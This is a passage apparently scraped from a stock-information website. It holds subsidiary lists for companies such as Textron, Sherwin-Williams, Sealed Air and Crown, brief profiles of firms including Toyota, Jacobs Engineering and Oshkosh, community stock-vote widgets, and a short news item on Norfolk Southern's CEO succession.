A/S Inc., Sonoco Polysack Limited, Sonoco Products Company UK, Sonoco Products Malaysia Sdn Bhd, Sonoco Protective Solutions Inc., Sonoco Recycling - International Trade Group LLC (fka Reparco USA Inc.), Sonoco Recycling LLC, Sonoco Reels Limited, Sonoco Retail Packaging S. de R.L. de C.V., Sonoco S.A. de C.V., Sonoco SAS, Sonoco Saudi Limited Company, Sonoco Services LLC, Sonoco Singapore Pte. Ltd., Sonoco TEQ Holdings Ltd, Sonoco TEQ LLC, Sonoco TEQ Ltd, Sonoco TEQ Sp. Z.o.o, Sonoco Taiwan Ltd, Sonoco Thailand Ltd, Sonoco UK Leasing Limited, Sonoco Venezolana C.A., Sonoco Venture International Holdings GmbH, Sonoco Ventures UK Limited, Sonoco Wisconsin Rapids Core Plant LLC, Sonoco Wisconsin Rapids Inc., Sonoco Wisconsin Rapids Paper Mill LLC, Sonoco Yatai Pinghu Packaging Co Ltd, Sonoco de Colombia Ltda, Sonoco do Brasil Participacoes Ltda, Sonoco do Brazil Ltda, Sonoco of Puerto Rico Inc., Sonoco-Alcore AS, Sonoco-Alcore Ou, Sonoco-Alcore Oy, Sonoco-Alcore S.a.r.l., Sonoco-Alcore Sp. Z.O.O., Sonoco-Engraph Puerto Rico Inc., TPT Board Mills Limited, TPT Limited, Tegrant Alloyd Brands Inc., Tegrant Corporation, Tegrant International Inc., Tegrant Property Holdings LLC, Tegrant de Mexico S.A. de C.V., ThermoSafe Brands Asia PTE LTD., ThermoSafe Brands Europe Ltd., Thermoform Engineered Quality LLC, Trident Graphics Canada Corporation, Trident Graphics NA LLC, U.S. Paper Mills Corp., Unit Reels & Drums Limited, Weidenhammer Chile Ltda., Weidenhammer Packaging Group, Weidenhammer UK Ltd., and Wisenberg U.S. Inc.. Toyota Motor Corp. engages in the manufacture and sale of motor vehicles and parts. It operates through the following segments: Automotive, Financial Services, and All Other. The Automotive segment designs, manufactures, assembles and sells passenger cars, minivans, trucks, and related vehicle parts and accessories. It is also involved in the development of intelligent transport systems. The Financial Services segment offers purchase or lease financing to Toyota vehicle dealers and customers. It also provides retail leasing through lease contracts purchase by dealers. The All Others segment deals with the design and manufacture and sale of housing, telecommunications and other businesses. The company was founded by Kiichiro Toyoda on August 28, 1937 and is headquartered in Toyota, Japan. Read More Grupo Supervielle SA operates as a holding company. The firm engages in the provision of banking services. It operates through the following segments: Retail Banking, Corporate Banking, Treasury, Consumer, Insurance and Asset Management and Other Services. The Retail Banking segment involves in granting of loans and other credit products such as deposits of physical persons. The Corporate Banking segment focuses in advisory services at a corporate and financial level, as well as the administration of assets and loans targeted to big clients. The Treasury segment operates with Government Securities of the Group, syndicated loans, and financial lease. The Consumer segment consists of loans and other credit products targeted to middle and lower-middle income sectors and non-financial products and services. The Insurance segment comprises insurance products, with a focus on life insurance. The Asset Management and Other Services segment offers mutual funds and other products and services. The company was founded on October 8, 1979 and is headquartered in Buenos Aires, Argentina. Read More innogy SE operates as an energy company in Europe. The company operates in two divisions, Grid & Infrastructure and Retail. The Grid & Infrastructure division is involved in the operation of gas distribution network in Croatia, as well as electricity distribution network in Poland and Hungary; and water business. The Retail division sells electricity and gas. The company serves residential, commercial, industrial, and corporate customers, as well as distributors. innogy SE has a strategic partnership with Nordex. The company was formerly known as RWE International SE and changed its name to innogy SE in September 2016. innogy SE was founded in 2015 and is headquartered in Essen, Germany. innogy SE is a subsidiary of E.ON Verwaltungs SE. Read More Jacobs Engineering Group Inc. provides technical, professional, and construction services. The company's Aerospace, Technology, Environmental and Nuclear segment offers scientific, engineering, construction, nuclear, environmental, and technical support services to the aerospace, defense, technical, and automotive industries. Its Buildings, Infrastructure and Advanced Facilities segment develops/rehabilitates plans for highways, bridges, transit, tunnels, airports, railroads, intermodal facilities, and maritime or port projects; develops or rehabilitates critical water resource systems, water/wastewater conveyance systems, and flood defense projects; and provides engineering design, construction management, design build, and operations and maintenance. This segment also designs and constructs buildings; offers consulting, engineering, procurement, construction management, and delivery services for life sciences clients; and provides services relating to modular construction and other consulting and strategic planning services, as well as offers services in containment, barrier technology, locally controlled environments, building systems automation, off-the-site design, and fabrication of facility modules. The company's Energy, Chemicals and Resources segment offers services relating to onshore and offshore oil and gas production facilities, processing facilities, gathering systems, and transmission pipelines and terminals; feasibility/economic studies, technology evaluation, conceptual engineering, front end loading, detailed engineering, procurement, construction, maintenance, and commissioning services; and engineering, procurement, and construction solutions. This segment also provides services, such as manufacturing complex, expansions, modifications, and management of plant relocations; construction management and field construction services; and services to operate and maintain facilities. The company was founded in 1947 and is headquartered in Dallas, Texas. Read More The following companies are subsidiares of Textron: AAI Corporation, AAI Services Corporation, ALSTOM Gears, Able Aerospace, Able Aerospace Services Inc., Able Engineering & Component Services, Aeronautical Accessories LLC, Airborne Tactical Advantage Company LLC, Arctic Cat, Arctic Cat ACE Holding GmbH, Arctic Cat France SARL, Arctic Cat GmbH, Arctic Cat Inc., Arctic Cat Production LLC, Arctic Cat Production Support LLC, Arctic Cat Sales Inc., Arctic Cat Shared Services LLC, Arctic Cat UK Ltd., Arkansas Aerospace Inc., Avco Corporation, Aviation Service servis letal doo Ljubljana, Aylesbury Automation, B/K Navigational Equipment sro, Beech Aircraft Corporation, Beech Holdings, Beechcraft Defense Support Holding LLC, Beechcraft Domestic Service Company, Beechcraft Germany GmbH, Beechcraft International Holding LLC, Beechcraft International Service Company, Beechcraft New Zealand, Beechcraft Service Company UK Limited, Bell Helicopter GK, Bell Helicopter KK, Bell Textron Asia (Pte.) Ltd., Bell Textron Canada International Inc., Bell Textron Canada Limited/Limitee, Bell Textron Inc., Bell Textron Korea Inc., Bell Textron Miami Inc, Bell Textron Prague a.s., Bell Textron Rhode Island Inc., Bell Textron Services Inc, Bell Textron Supply Center BV, Bell Textron Technical Services Inc., Benzlers, Brazaco Mapri Industrias, Burkland, Cessna Aircraft Company, Cessna Citation European Service Center SAS, Cessna Dusseldorf Citation Service Center GmbH, Cessna Finance Corporation, Cessna Finance Export Corporation, Cessna Mexico S de RL de CV, Cessna Spanish Citation Service Center SLU, Cessna Zurich Citation Service Center GmbH, Citation Parts Distribution International Inc., Cushman Inc., Datacom Technologies, David Brown Group, Doncaster Citation Service Centre Limited, E-Z-GO Canada Limited, Energy Manufacturing, Flexalloy, HBC LLC, Hawker Beech de Mexico S de RL de CV, Hawker Beechcraft Argentina SA, Howe & Howe Inc., Howe and Howe Technologies, Industrial Technology Inc., InteSys Technologies, International Product Support Inc., KSB Annecy SAS, Kautex (Changchun) Plastics Technology Co. Ltd., Kautex (Chongqing) Plastic Technology Co. Ltd., Kautex (Guangzhou) Plastic Technology Co. Ltd., Kautex (Pinghu) Plastic Technology Co. Ltd., Kautex (Shanghai) Plastic Technology Co. Ltd., Kautex (Wuhan) Plastic Technology Co. Ltd., Kautex Corporation, Kautex Craiova srl, Kautex Germany Holding GmbH, Kautex Inc., Kautex Japan KK, Kautex Shanghai GmbH, Kautex Textron (UK) Limited, Kautex Textron Benelux BVBA, Kautex Textron Bohemia spol sro, Kautex Textron CVS Limited, Kautex Textron GmbH & Co. KG, Kautex Textron Iberica SL, Kautex Textron Italia Srl, Kautex Textron Management Services Company de Puebla S. de RL de CV, Kautex Textron Portugal Produtos Plasticos Sociedade Unipessoal Lda., Kautex Textron de Mexico S de RL de CV, Kautex Textron do Brasil Ltda., Kautex of Georgia Inc., Kaywood Products Corp., Klauke, LCI Corporation International, LLC Textron RUS, Maag, McCord Corporation, Mechtronix, Medical Numerics Inc., Midland Industrial Plastics, MillenWorks, MillenWorks Themed Technologies, MotorFist LLC, OPINICUS Simulation and Training Services LLC, OmniQuip International, Opinicus, Optical Boring Co., Opto-Electronics, Opto-Electronics Inc., Overwatch Systems Ltd., PEINER Umformtechnik, Pirelli Tyres - General Rubber Goods (GRG) division, Premiair Aviation Maintenance Pty Ltd, Progressive Electronics, Ransomes, Ransomes Inc., Ransomes Investment LLC, Ransomes Jacobsen France SAS, Ransomes Jacobsen Limited, Ransomes Limited, Ransomes Pensions Trustee Company Limited, Replacement Part Solutions LLC, Response Technologies LLC, Rotor Blades Limited, Sukosim Verbindungselemente, TRU Simulation & Training Spain SL, TRU Simulation + Training Inc., TRU Simulation + Training LLC, TekGPS Engineering Srl, Textron Airland LLC, Textron Atlantic LLC, Textron Aviation Australia Pty. Ltd., Textron Aviation Canada Ltd., Textron Aviation Defense LLC, Textron Aviation Finance Corporation, Textron Aviation Inc., Textron Aviation Prague Service Center sro, Textron Aviation Rhode Island Inc., Textron Aviation Services de Mexico S de RL de CV, Textron Capital BV, Textron Communications Inc., Textron Far East Pte. Ltd., Textron Finance Holding Company, Textron Financial Corporation, Textron Financial Corporation Receivables Trust 2002-CP-2, Textron Fluid and Power Inc., Textron France Holding SAS, Textron France SAS, Textron Global Services Inc., Textron Ground Support Equipment Inc., Textron Ground Support Equipment UK Limited, Textron IPMP Inc., Textron India Private Limited, Textron Innovations Inc., Textron International Inc., Textron International Mexico S de RL de CV, Textron Limited, Textron Management Services Inc., Textron Motors GmbH, Textron Motors North America Inc., Textron Outdoor Power Equipment Inc., Textron Realty Corporation, Textron Shared Service Centre (Canada) Inc., Textron Specialized Vehicles Inc., Textron Sweden AB, Textron Systems Australia Holding Pty Ltd, Textron Systems Australia Pty Ltd, Textron Systems Canada Inc., Textron Systems Corporation, Textron Systems Electronic Systems UK (Holdings) Limited, Textron Systems Electronic Systems UK Limited, Textron Trading (Shanghai) Co. Ltd., Textron UK Pension Trustee Limited, Textron Verwaltungs-GmbH, Turbine Engine Components Textron (Newington Operations) Inc., United Industrial Corporation, Westminster Insurance Company, Williams Machine & Tool, Wuxi Textron Specialized Vehicles Co. Ltd., and Zhenjiang Bell Textron Aviation Services Limited. The following companies are subsidiares of Sherwin-Williams: Acquire Sourcing LLC, CTS National Corporation, Comex North America Inc., Compania Sherwin-Williams S.A. de C.V., Contract Transportation Systems Co., Dongguan Lilly Paint Industries Ltd, Duron, EPS (Shanghai) Trading Co. Ltd., EPS B.V., Geocel Holdings, Geocel Limited, Guangdong Valspar Paints Manufacturing Co Ltd., Inver East Med S.A., Inver France SAS, Inver GmbH, Inver Industrial Coating SRL, Inver Polska Spoka Z O.O, Inver Spa, Invercolor Bologna Srl, Invercolor Ltd, Invercolor Roma Srl, Invercolor Torino Srl, Invercolor Toscana Srl, Isocoat Tintas e Vernizes Ltda, Isva Vernici Srl, Leighs Paints, M.A. Bruder & Sons, Omega Specialty Products & Services LLC, Oy Sherwin-Williams Finland Ab, PT Sherwin-Williams Indonesia, PT Valspar Indonesia, Paint Sundry Brands, Pinturas Condor S.A., Pinturas Industriales S.A., Piton Paints Limited, Plasti-Kote Co. Inc., Plasti-kote Limited, Productos Quimicos y Pinturas S.A. de C.V., Quest Automotive Products UK Limited, Quetzal Pinturas S.A. de C.V., Ronseal (Ireland) Limited, SWIMC LLC, SWIPCO Sherwin Williams do Brasil Propriedade Intelectual Ltda, Sherwin Williams Colombia S.A.S., Sherwin-Williams (Australia) Pty. Ltd., Sherwin-Williams (Belize) Limited, Sherwin-Williams (Caribbean) N.V., Sherwin-Williams (Ireland) Limited, Sherwin-Williams (Malaysia) Sdn. Bhd., Sherwin-Williams (Nantong) Coatings Technology Co. Ltd., Sherwin-Williams (Nantong) Company Limited, Sherwin-Williams (S) Pte. Ltd., Sherwin-Williams (Shanghai) Limited, Sherwin-Williams (Thailand) Co. Ltd., Sherwin-Williams (Vietnam) Limited, Sherwin-Williams (West Indies) Limited, Sherwin-Williams Argentina I.y C.S.A., Sherwin-Williams Aruba VBA, Sherwin-Williams Automotive Mexico S.de R.L.de C.V., Sherwin-Williams Balkan S.R.L., Sherwin-Williams Bel Unitary Enterprise, Sherwin-Williams Benelux NV, Sherwin-Williams Canada Inc., Sherwin-Williams Cayman Islands Limited, Sherwin-Williams Chile S.A., Sherwin-Williams Coatings India Private Limited, Sherwin-Williams Coatings S.a r.l., Sherwin-Williams Czech Republic spol. s r.o, Sherwin-Williams Denmark A/S, Sherwin-Williams Deutschland GmbH, Sherwin-Williams Diversified Brands Limited, Sherwin-Williams France Finishes SAS, Sherwin-Williams Italy S.r.l., Sherwin-Williams Norway AS, Sherwin-Williams Paints Limited Liability Company, Sherwin-Williams Peru S.R.L., Sherwin-Williams Pinturas de Venezuela S.A., Sherwin-Williams Poland Sp. z o.o, Sherwin-Williams Protective & Marine Coatings, Sherwin-Williams Realty Holdings Inc., Sherwin-Williams Services (Malaysia) Sdn. Bhd., Sherwin-Williams Spain Coatings S.L., Sherwin-Williams Sweden AB, Sherwin-Williams UK Coatings Limited, Sherwin-Williams do Brasil Industria e Comercio Ltda., Spanyc Paints Joint Stock Company, Syntema I Vaggeryd AB, Taiwan Valspar Co. Ltd., The Sherwin-Williams Acceptance Corporation, The Sherwin-Williams Headquarters Company, The Sherwin-Williams Manufacturing Company, The Sherwin-Williams US Licensing Company, The Valspar (Asia) Corporation Limited, The Valspar (Australia) Corporation Pty. Ltd., The Valspar (Finland) Corporation Oy, The Valspar (France) Corporation S.A.S., The Valspar (France) Research Corporation SAS, The Valspar (Malaysia) Corporation Sdn Bhd, The Valspar (Nantes) Corporation S.A.S., The Valspar (Singapore) Corporation Pte. Ltd, The Valspar (South Africa) Corporation (Pty) Ltd, The Valspar (Spain) Corporation S.R.L., The Valspar (Switzerland) Corporation AG, The Valspar (Thailand) Corporation Ltd., The Valspar (UK) Corporation Limited, The Valspar (Vietnam) Corporation Ltd., The Valspar Corporation, The Valspar Corporation Limitada, UAB Sherwin-Williams Baltic, Valspar (India) Coatings Corporation Private Limited, Valspar (Shanghai) Management Co. Ltd., Valspar (Uruguay) Corporation S.A., Valspar (WPC) Pty Ltd, Valspar Aries Coatings S. de R.L. de C.V., Valspar Automotive (UK) Corporation Limited, Valspar Automotive Australia Pty Limited, Valspar B.V., Valspar Coatings (Guangdong) Co. Ltd., Valspar Coatings (Shanghai) Co. Ltd., Valspar Coatings (Tianjin) Co. Ltd, Valspar D.o.o Beograd, Valspar Industries (Ireland) Ltd., Valspar Industries (Italy) S.r.l., Valspar Industries GmbH, Valspar LLC, Valspar Mexicana S.A. de C.V., Valspar Paint (Australia) Pty Ltd, Valspar Paint (NZ) Limited, Valspar Powder Coatings Limited, Valspar Rock Company Limited (Japan), Valspar Specialty Paints LLC, and ZAO Sherwin-Williams. 3 hours ago Norfolk Southern railroad names new CEO to take over in May Norfolk Southern Corp. said its CEO will retire next spring, and it will promote one of its executives to replace him. The railroad said Thursday that Jim Squires will step down as chairman and CEO on May 1 after seven years of leading Norfolk Southern. Read Article There is not enough analysis data for Marijuana Company of America. 4.7 Community Rank Outperform Votes Marijuana Company of America has received 144 outperform votes. (Add your outperform vote.) Underperform Votes Marijuana Company of America has received 64 underperform votes. (Add your underperform vote.) Community Sentiment Marijuana Company of America has received 69.23% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Marijuana Company of America and other stocks. Vote Outperform if you believe MCOA will outperform the S&P 500 over the long term. Vote Underperform if you believe MCOA will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next There is not enough analysis data for Mountain China Resorts (Holding). 4.7 Community Rank Outperform Votes Mountain China Resorts (Holding) has received 50 outperform votes. (Add your outperform vote.) Underperform Votes Mountain China Resorts (Holding) has received 21 underperform votes. (Add your underperform vote.) Community Sentiment Mountain China Resorts (Holding) has received 70.42% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Mountain China Resorts (Holding) and other stocks. Vote Outperform if you believe MCG will outperform the S&P 500 over the long term. Vote Underperform if you believe MCG will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next Nuveen Enhanced AMT-Free Municipal Credit Opportunities Fund operates as a closed-end investment fund/investment trust. Its investment objective is to provide current income exempt from regular federal income tax and to enhance portfolio value relative to the municipal bond market by investing in tax-exempt municipal bonds that the fund's investment adviser believes are underrated or undervalued or that represent municipal market sectors that are undervalued. The company was founded on July 12, 1999 and is headquartered in Chicago, IL. Read More Oshkosh Corp. engages in the design, manufacture, and market of specialty vehicles and vehicle bodies. It operates through the following segments: Access Equipment, Defense, Fire & Emergency, and Commercial. The Access Equipment segment consists of JerrDan and JLG, which manufactures aerial work platforms; and telehandlers that are used in construction, industrial, institutional, and general maintenance applications to position workers and materials at elevated heights. The Defense segment produces tactical wheeled vehicles; and supply parts and services for the United States military and other militaries around the world. The Fire and Emergency segment sells commercial and custom fire vehicles; simulators and emergency vehicles primarily for fire departments, airports and other governmental units; and broadcast vehicles for broadcasters and television stations. The Commercial segment includes McNeilus, CON-E-CO, London, Iowa Mold Tooling Co., Inc (IMT), and Oshkosh Commercial. The company was founded in 1917 and is headquartered in Oshkosh, WI. Read More iShares MSCI Switzerland ETF's stock was trading at $35.66 on March 11th, 2020 when Coronavirus (COVID-19) reached pandemic status according to the World Health Organization (WHO). Since then, EWL shares have increased by 39.0% and is now trading at $49.55. View which stocks have been most impacted by COVID-19. The following companies are subsidiares of Sealed Air: A.P.S. (Holdings) Limited, AFP Trading (China) Co. Ltd., AFPTOH LTD, APS Automated Packaging Systems GmbH & Co. KG, APS Verwaltungs-GmbH, Air Ride Pallets Hong Kong Limited, Austin Foam Plastics Inc. (dba AFP Inc.), Automated Packaging Systems, Automated Packaging Systems Asia Holding Company Limited, Automated Packaging Systems Comerciale Importacao do Brasil Ltda., Automated Packaging Systems Europe, Automated Packaging Systems LLC, Automated Packaging Systems Limited, Automated Packaging Systems Southeast Asia Co. Ltd., B+ Equipment, B+ Equipment SAS, Beacon Holdings LLC, Biosphere Industries, BluPack (New Zealand), Blue Dot Packaging Pty Ltd., Cactus (Shanghai) Trading Co. Ltd., Cryovac (Malaysia) SDN. BHD, Cryovac Brasil Ltda., Cryovac Holdings II LLC, Cryovac International Holdings Inc., Cryovac LLC*, Cryovac Leasing Corporation, Cryovac Londrina Ltda., Cryovac Packaging Portugal Embalagens Ltda., Cryovac-Sealed Air de Costa Rica S.R.L., DELTAPLAM Embalagens Industria e Comercio, Diversey, Diversey J Trustee Limited, Diversey Trustee Limited, Entapack Pty. Ltd., Fagerdala (Chengdu) Packaging Co. Ltd, Fagerdala (Shanghai) Foams Co. Ltd., Fagerdala (Shanghai) Polymer Co. Ltd., Fagerdala (Suzhou) Packaging Co. Ltd., Fagerdala (Thailand) Limited, Fagerdala (Xiamen) Packaging Co. Ltd., Fagerdala Leamchabung Limited, Fagerdala Malaysia Sdn Bhd, Fagerdala Mexico S.A. de C.V., Fagerdala Mexico Supply Chain S.A. de C.V., Fagerdala Packaging Inc. (Indiana), Fagerdala Singapore Pte Ltd, Fagerdala Singapore Pte. Ltd., Getpacking.com GmbH, Invertol S. de R.L. de C.V., JSC Sealed Air Kaustik, KRIS Automated Packaging Systems Holding Company, Kevothermal LLC, Kevothermal Limited, Nelipak Holdings, Pack-Tiger GmbH, Polyrol Limited, Polyrol Packaging Systems LLC, ProAseptic Technologies S.L., Producembal- Producao de Embalagens LTDA, Reflectix Inc., SLD Air Packaging Paketleme Malzemeleri Ticaret Limited Sirketi, Saddle Brook Insurance Company, Sealed Air (Asia) Holdings BV, Sealed Air (Barbados) S.R.L., Sealed Air (Canada) Co./CIE, Sealed Air (Canada) Holdings B.V., Sealed Air (China) Co. Ltd., Sealed Air (China) Limited, Sealed Air (Israel) Ltd., Sealed Air (Korea) Limited, Sealed Air (Latin America) Holdings II LLC, Sealed Air (Malaysia) Sdn. Bhd., Sealed Air (New Zealand), Sealed Air (Philippines) Inc., Sealed Air (Singapore) Pte. Limited, Sealed Air (Ukraine) Limited, Sealed Air Africa (Pty.) Limited, Sealed Air Americas Manufacturing S. de R.L. de C.V., Sealed Air Argentina S.A., Sealed Air Australia (Holdings) Pty. Limited, Sealed Air Australia Pty. Limited, Sealed Air Australia Real Estate Pty Ltd, Sealed Air B.V., Sealed Air Belgium N.V., Sealed Air Central America S.A., Sealed Air Chile SpA, Sealed Air Colombia Ltda., Sealed Air Corporation (US), Sealed Air Cyprus Ltd., Sealed Air Denmark A/S, Sealed Air Finance B.V., Sealed Air Finance II LLC, Sealed Air Finance Luxembourg S.a.r.l., Sealed Air Funding LLC, Sealed Air General Trading LLC, Sealed Air GmbH (Germany), Sealed Air GmbH (Switzerland), Sealed Air Hellas SA, Sealed Air Holding France SAS, Sealed Air Holdings (New Zealand) Pty. Ltd., Sealed Air Holdings South Africa Proprietary Limited, Sealed Air Holdings UK I Limited, Sealed Air Holdings UK Limited, Sealed Air Hong Kong Limited, Sealed Air Hungary Ltd., Sealed Air Investment and Management (Shanghai) Co. Ltd., Sealed Air Japan G.K., Sealed Air LLC, Sealed Air Limited (Ireland), Sealed Air Limited (UK), Sealed Air Luxembourg (I) S.a.r.l., Sealed Air Luxembourg (II) S.a.r.l., Sealed Air Luxembourg S.a.r.l., Sealed Air Management Holding Verwaltungs GmbH, Sealed Air Multiflex GmbH, Sealed Air Netherlands (Holdings) I B.V., Sealed Air Netherlands (Holdings) II B.V., Sealed Air Netherlands Holdings V B.V., Sealed Air Norge AS, Sealed Air OY, Sealed Air Packaging (India) Private Limited, Sealed Air Packaging (Shanghai) Co. Limited, Sealed Air Packaging (Thailand) Co. Ltd., Sealed Air Packaging LLC, Sealed Air Packaging Materials (India) LLP, Sealed Air Packaging S.L.U., Sealed Air Peru S.A.C., Sealed Air Polska Sp. Zoo, Sealed Air Pty Limited, Sealed Air S.A S., Sealed Air S.r.l., Sealed Air South Africa (Pty.) Ltd., Sealed Air Svenska AB, Sealed Air Taiwan Limited, Sealed Air UK Limited Partnership, Sealed Air US Holdings (Thailand) LLC, Sealed Air Uruguay S.A., Sealed Air Verpackungen GmbH, Sealed Air de Mexico Operations S. de RL. de C.V., Sealed Air de Venezuela S.A., Sealed Air s.r.o., Shanklin Corp, Shanklin Corporation, TTS-Ciptec, TXAFP Asia Pacific Ltd., TXAFP GP LLC, and Trigon Industries. The following companies are subsidiares of Crown: Adularia Inversiones 2010 S.L., Angleboard Sweden AB, Bates Cargo-Pak ApS, Butimove, CMB Machinery and Technology (Shanghai) Co Ltd, CROWN AP (Thailand) Company Limited, CROWN Aerosols & Promotional Nederland, CROWN Aerosols Italia Srl, CROWN Aerosols Nederland BV, CROWN Aerosols UK Limited, CROWN Americas LLC, CROWN Arabia Can Company Ltd, CROWN Asia Pacific Holdings Pte. Ltd., CROWN Asia Pacific Investments (T) Limited, CROWN Bevcan Espana S.L., CROWN Bevcan France SAS, CROWN Bevcan Slovakia s.r.o., CROWN Bevcan Turkiye Ambalaj Sanayi Ve Ticaret Limited Sirketi, CROWN Bevcan and Closures (Thailand) Company Limited, CROWN Beverage Cans (Cambodia) Limited, CROWN Beverage Cans (Dong Nai) Limited, CROWN Beverage Cans Beijing Limited, CROWN Beverage Cans Changchun Limited, CROWN Beverage Cans Danang Limited, CROWN Beverage Cans Hangzhou Limited, CROWN Beverage Cans Hanoi Limited, CROWN Beverage Cans Heshan Limited, CROWN Beverage Cans Hong Kong Limited, CROWN Beverage Cans Huizhou Limited, CROWN Beverage Cans Malaysia Sdn Bhd, CROWN Beverage Cans Nanning Limited, CROWN Beverage Cans Putian Limited, CROWN Beverage Cans Saigon Limited, CROWN Beverage Cans Shanghai Limited, CROWN Beverage Cans Sihanoukville Limited, CROWN Beverage Cans Singapore Pte. Ltd., CROWN Beverage Cans Ziyang Limited, CROWN Beverage Packaging LLC, CROWN Beverage Packaging Puerto Rico Inc., CROWN Cans Ghana Limited, CROWN China Holdings (Hong Kong) Limited, CROWN Commercial Belgium BVBA, CROWN Commercial France SAS, CROWN Commercial Germany GmbH & Co. KG, CROWN Commercial Hungary Kft, CROWN Commercial Netherlands B.V., CROWN Commercial Vermogensverwaltung GmbH, CROWN Cork & Seal USA Inc., CROWN Embalagens Metalicas da Amazonia S.A., CROWN Emballage France SAS, CROWN Emirates Company Limited, CROWN Envases Mexico S.A. de C.V., CROWN Famosa S.A. de C.V., CROWN Food Packaging (Thailand) Public Company Limited, CROWN Foodcan (Hat Yai) Company Limited, CROWN Foodcan (Nakhon Pathom) Company Limited, CROWN Foodcan Germany GmbH, CROWN Foodcan GmbH, CROWN Imballaggi Italia Srl, CROWN Imgallaggi Italia Srl, CROWN Italy Finance srl, CROWN Khmer Beverage Cans Limited, CROWN Maghreb Can, CROWN Magyarorszag Csomagoloipari KFT, CROWN Metal Packaging Canada Inc., CROWN Metal Packaging Canada LP, CROWN Middle East Can Co. Ltd., CROWN Packaging (Barbados) Limited, CROWN Packaging Holdings LLC, CROWN Packaging Investment (H.K.) Limited, CROWN Packaging Ireland Ltd, CROWN Packaging Jamaica Limited, CROWN Packaging Polska Sp.z.o.o., CROWN Packaging Technology Inc., CROWN Packaging Trinidad Limited, CROWN Packaging UK Limited, CROWN Promotional Packaging UK Ltd, CROWN SIEM, CROWN Senegal, CROWN Societe Malgache d'Emballages Metalliques, CROWN Speciality Packaging BV, CROWN Speciality Packaging Investment Pte. Ltd., CROWN Specialty Packaging UK Ltd, CROWN TCP Beverage Cans Company Limited, CROWN Verpakking Belgie NV, CROWN Verpakking Nederland B.V., Caretex Asia Ltd., CarnaudMetalbox Engineering Ltd, CarnaudMetalbox Food South Africa (Pty) Limited, CarnaudMetalbox Group UK Limited, CarnaudMetalbox Overeseas Limited, CarnaudMetalbox Overseas Limited, Cierres Hermeticos S.A. DE C.V., Constar International, Crown Americas Capital Corp., Crown Americas Capital Corp. II, Crown Americas Capital Corp. III, Crown Americas Capital Corp. IV, Crown Americas Capital Corp. V, Crown Americas Capital Corp. VI, Crown Brasil Holdings Ltda., Crown Canadian Holdings ULC, Crown Closures Spain S.L., Crown Colombiana S.A., Crown Comercial de Envases S.L., Crown Commercial Italy Srl, Crown Commercial Polska Sp. z.o.o., Crown Consultants Inc., Crown Cork & Seal Company (DE) LLC, Crown Cork & Seal Company Inc., Crown Cork & Seal Deutschland Holdings GmbH, Crown Cork & Seal Receivables (DE) Corporation, Crown Cork & Seal de Portugal Embalagens S.A., Crown Cork Kuban, Crown Cork and Seal Receivables II LLC, Crown Developpement SAS, Crown European Holdings, Crown Food Espana S.A.U., Crown Foodcan Turkey Ambalaj Sanayi Ve Ticaret Limited Sirketi, Crown Hellas Can Packaging SA, Crown Heshan Trading Company Limited, Crown Holdings Italia Srl, Crown Holdings Spain S.L., Crown International Holdings B.V., Crown International Holdings Inc., Crown Luxembourg Holdings, Crown Mexican Holdings S. de R.L. de C.V., Crown Overseas Investments B.V., Crown Packaging Commercial UK Limited, Crown Packaging Distribution UK Limited, Crown Packaging European Division GmbH, Crown Packaging European Division Services SAS, Crown Packaging European Holdings GmbH, Crown Packaging Lux I S.a.r.l., Crown Packaging Lux II S.a.r.l., Crown Packaging Lux III S.a.r.l., Crown Packaging Manufacturing UK Limited, Crown Packaging Maroc, Crown Receivables III, Crown Services Iberia, Crown UK Holdings Limited, Crownway Insurance Company, Dacro B.V., EMPAQUE, Fabricas Monterrey S.A. de C.V., Form Koruyucu Ambalaj Sanayi Ve Ticaret Limited Sirketi, Foshan Continental Can Co. Limited, Foshan Crown Easy-Opening End Co. Limited, Glass & Silice S.A. DE C.V., Globoplastt s.r.o., Gunther S.A.S., Haloila Bulgaria EOOD, Interstrap B.V., Josef Kihlberg AB, Kiwiplan GmbH, Kiwiplan Inc, Lachenmeier ApS, Liljendals Bruk AB, Litec France S.A.S., Mezger Heftsysteme GmbH, Mima Films S.a.r.l., Mima Films Sprl, Mima Packaging Systems S.A.S., Mivisa, Nordic S.A.S., Norsk Signode AS, Oy M. Haloila AB, PT CROWN Beverage Cans Indonesia, Package Design and Manufacturing, Prolatamex S.A. DE C.V., Quandel Verpackungs- und Foerdertechnik GmbH, SMB Schwede Maschinenbau GmbH, SMP Schwede Maschinenbau Weischlitz GmbH, SPG Denmark, SPG France Holdings SAS, SPG Germany Service Management GmbH, SPG Industrial Packaging S.a.r.l, SPG Netherlands B.V., SPG Packaging Ireland Limited, SPG Packaging Systems GmbH, SPG Packaging UK Ltd, Scybele S.A.S., Shippers Europe S.p.r.l., Signode BVBA, Signode Brasileira Ltda, Signode Hong Kong Limited, Signode Industrial Group, Signode Industrial Group AB, Signode Industrial Group Colombia S.A.S., Signode Industrial Group GmbH, Signode Industrial Group Holdings Lux S.a.r.l., Signode Industrial Group Holdings US Inc, Signode Industrial Group Lux S.A., Signode Industrial Group Mexico, Signode Industrial Group Sweden AB, Signode International Holdings LLC, Signode International IP Holdings LLC, Signode International Investment LLC, Signode Kabushiki Kaisha, Signode Korea Inc, Signode NZ Limited, Signode Netherlands B.V., Signode Packaging (Qingdao) Co., Signode Packaging (Shanghai) Co., Signode Packaging Espana S.L., Signode Packaging Group (Malaysia) Sdn. Bhd., Signode Packaging Group Australia Pty Ltd, Signode Packaging Group Canada ULC, Signode Packaging Group NZ, Signode Packaging Systems Limited, Signode Pickling Holding LLC, Signode Polska sp. Z.o.o., Signode Singapore Pte. Ltd., Signode Sweden Holdings AB, Signode System GmbH, Signode System Packaging GmbH & Co. KG, Signode Systems (Thailand) Ltd., Signode US IP Holdings LLC, Silice De Veracruz S.A. DE C. V., Silice Del Istmo S.A. DE C.V., Silices De Veracruz, Societe Civile Immobiliere Rousseau-Ivry, Societe Civile Immobiliere des Baquets, Societe de Participations CarnaudMetalbox, Stopak India Pvt. Ltd, Strapex Austria GmbH, Strapex Embalagem L.d.a., Strapex Holdings Limited, Strapex S.A.S., Strapex Srl, Superior Investments Holdings Pte. Ltd., Superior Multi-Packaging Limited, TopFrame LLC, V.A.C. B.V., Vichisa S.A. de C.V., and Warehouse Automation Iberia S.L.. Zalando SE operates as an online fashion and lifestyle retailer. It offers a range of products, including shoes, apparel, accessories, and beauty products for women, men, and children, as well as free delivery and returns services. The company also sells its products through its Zalando Lounge; and brick-and-mortar stores in Berlin, Frankfurt, 